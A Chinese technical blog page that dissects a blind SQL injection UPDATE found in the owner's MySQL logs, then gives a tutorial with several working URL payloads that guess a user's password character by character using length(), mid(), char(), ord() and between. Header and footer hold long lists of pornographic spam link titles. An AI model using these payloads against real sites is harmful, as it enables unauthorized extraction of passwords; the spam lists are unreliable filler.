日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

遭遇一次MySQL猜解注入攻擊

瀏覽:28日期:2023-10-17 11:34:19

前些日子數據庫被入侵,文章的閱讀數都被纂改了,還好及時發現并做好備份。查一下 MySQL 語句記錄,發現這么原來是這么一句 SQL 在搗鬼:

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 這個表是數據庫里一個以前測試用的表,表的結構也寫到博文里面,暴露了字段。

這句 SQL 為什么能那么厲害呢?我們接下來分析一下。

1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數可用來獲取一個類型的值,并產生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數的用法這篇文章。我們執行一下,看看結果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;+-------------------------+| CAST(FirstName AS CHAR) |+-------------------------+| Gonn || Mio || Google || yale |+-------------------------+4 rows in set

就是將 FirstName 這個字段全部轉成 CHAR 類型。

2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數用法》。

執行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;+--------------------------------------+| IFNULL(CAST(FirstName AS CHAR),0x20) |+--------------------------------------+| Gonn || Mio || Google || yale |+--------------------------------------+4 rows in set

雖然看起來結果沒啥不同,但是,它起到了一個作用。假設 CAST 轉換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。

3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數就是截取字符串用的,具體可以看看《MySQL MID()函數用法》這個。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);+----------------------------------------------------------------------------------------+| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |+----------------------------------------------------------------------------------------+| i |+----------------------------------------------------------------------------------------+1 row in set

就得到一個字母 i。

4. 關鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));+---------------------------------------------------------------------------------------------+| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |+---------------------------------------------------------------------------------------------+| 105 |+---------------------------------------------------------------------------------------------+1 row in set

就是 i 的 ASCII 碼是105.

如果是失敗,返回 0x20 這種情況:

mysql> SELECT ORD(’0x20’);+-------------+| ORD(’0x20’) |+-------------+| 48 |+-------------+1 row in set

兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執行的。

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#MySQL 猜解注入

在 MySQL 中內置了很多函數,利用它們,即使在沒有聯合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設網站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進行如下請求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我們通過 length() 函數以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函數原型是“Mid(str,pos,len)”,也可以用substring()函數。Char()函數的參數是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。

另外還可以用between()函數先判斷這個字符是數字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函數,還可以用ord函數來進行猜解。Ord函數可以得到字符的ASCII值,所以它也能實現類似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函數的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就這樣慢慢一步步手工猜解注入。

標簽: MySQL 數據庫
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
91久久久精品国产| 免费国产自久久久久三四区久久 | 黄色aa久久| 99久久久久久中文字幕一区| 欧美日韩视频一区二区三区| 一级成人国产| 国产精品tv| 国产高潮在线| 欧美午夜不卡影院在线观看完整版免费| 亚洲欧美高清| 久久激五月天综合精品| 国产专区精品| 日韩一级网站| 三级在线观看一区二区| 国产视频一区二区在线播放| 国产专区精品| 在线精品视频在线观看高清| 亚洲啊v在线免费视频| 精品三级在线| 免费美女久久99| 国产精品视频一区二区三区综合| 日韩免费av| 99在线精品免费视频九九视| 五月婷婷亚洲| 91精品麻豆| 日韩国产欧美| 亚洲三级av| 丁香六月综合| 亚洲欧美日本日韩| 国产精品www.| 亚洲女同一区| 久久精品亚洲一区二区| 欧美综合国产| 高清精品久久| 亚洲一级大片| 色爱av综合网| 国产丝袜一区| 亚洲一区黄色| 欧洲av不卡| 日本免费在线视频不卡一不卡二| 亚洲伦乱视频| 四虎国产精品免费久久| 日韩在线观看一区| 日本亚洲欧美天堂免费| 日韩精品一区二区三区免费观看| 亚洲精品在线国产| 日韩精品一区二区三区免费观影| 日韩精品一区二区三区中文在线| 1000部精品久久久久久久久| 欧美激情五月| 美女精品在线| 青青久久av| 精品久久中文| 欧美三级第一页| 免费视频久久| 91精品国产91久久久久久黑人| 久久精品99国产精品| 亚洲经典在线| 狠狠久久伊人中文字幕| 青青国产精品| 视频一区中文字幕| 日韩欧美三级| 国产激情精品一区二区三区| 一区二区电影在线观看| 在线亚洲观看| 成人福利视频| 精品资源在线| 欧美一区自拍| 中文字幕一区二区三区在线视频| 亚洲福利免费| 久久精品导航| 都市激情国产精品| 麻豆国产精品| 亚洲三级国产| 蜜桃视频在线观看一区| 国产视频一区三区| japanese国产精品| 少妇久久久久| 国产理论在线| 色婷婷综合网| 精品99在线| 久久久国产精品网站| 欧美天堂一区| 日韩1区2区3区| 亚州国产精品| 婷婷精品在线| 日日夜夜免费精品| 日韩精品欧美精品| 亚洲欧美日韩国产| 丝袜美腿亚洲色图| 亚洲天堂av资源在线观看| 丝袜美腿亚洲一区二区图片| 久久夜色精品| 亚洲aa在线| 欧美日韩91| 91成人在线网站| 日韩**一区毛片| 亚洲人成网77777色在线播放| 久久成人一区| 日韩精品一二三区| 国产精品免费看| 亚洲精品乱码久久久久久蜜桃麻豆| 在线一区视频| 在线精品视频在线观看高清| 欧美日韩国产免费观看| 99香蕉国产精品偷在线观看| 首页国产欧美日韩丝袜| 日韩高清不卡在线| 国产精品久久久久久久久久白浆| 国产一区 二区| 国产精久久久| 欧美激情国产在线| 婷婷激情久久| 免费人成网站在线观看欧美高清| 日韩黄色av| 国产精品巨作av| 国产自产自拍视频在线观看 | 国产精品中文字幕亚洲欧美| 美女视频黄 久久| 成人午夜精品| 在线精品亚洲| 国产精品久久久一区二区| 色婷婷色综合| 一级欧洲+日本+国产| 日精品一区二区三区| 国产精品亚洲欧美日韩一区在线 | 91久久在线| 日韩国产欧美三级| 国产欧美日韩影院| 亚洲女同av| 亚洲丝袜啪啪| 久久影院资源站| 亚洲特级毛片| 日本午夜免费一区二区| 日韩在线免费| 伊人久久大香伊蕉在人线观看热v| 国产女人18毛片水真多18精品| 国产一区二区三区不卡视频网站 | 日韩精品永久网址| 视频一区中文字幕| 精品久久电影| 亚洲永久字幕| 国产精品久久久久久久久久齐齐| 欧美成人基地 | 一区二区三区四区在线观看国产日韩| 国产精品久久久久av蜜臀| 黄色aa久久| 日本中文字幕视频一区| 亚洲欧洲美洲av| 影音先锋久久精品| 久久电影tv| 91精品国产自产观看在线 | 国产精品一国产精品k频道56| 欧美午夜精彩| 久久av免费看| 日韩中文字幕麻豆| 一区二区三区四区日本视频| 日韩国产欧美三级| 久久蜜桃精品| 久久国产三级| 久久亚洲二区| 正在播放日韩精品| 欧美一级久久| 午夜在线播放视频欧美| 天堂av在线| 国产精品天堂蜜av在线播放| 久久xxxx| 久久精品国内一区二区三区水蜜桃| 国产亚洲久久| 蜜臀av一区二区三区| 久久中文亚洲字幕| 久久亚洲黄色| 欧美偷窥清纯综合图区| 欧美日韩国产一区精品一区| 动漫av一区| 国产探花在线精品| 亚洲综合专区| 国产视频欧美| 国产综合精品| 午夜精品成人av| 国产一区二区三区国产精品| 日韩亚洲精品在线观看| 亚洲免费在线| 91成人超碰| 日韩亚洲一区在线| 国产一区二区三区四区五区| 国产精品亚洲产品| 日本vs亚洲vs韩国一区三区二区| 亚洲一区二区三区免费在线观看| 色爱综合av| 色婷婷亚洲mv天堂mv在影片| 欧美成人精品午夜一区二区| 日韩国产欧美三级| 日韩精品中文字幕一区二区| 亚洲婷婷丁香| 美国三级日本三级久久99| 亚洲在线网站| 亚洲欧美日韩在线观看a三区| 美女亚洲一区| 欧美日韩国产一区二区三区不卡 |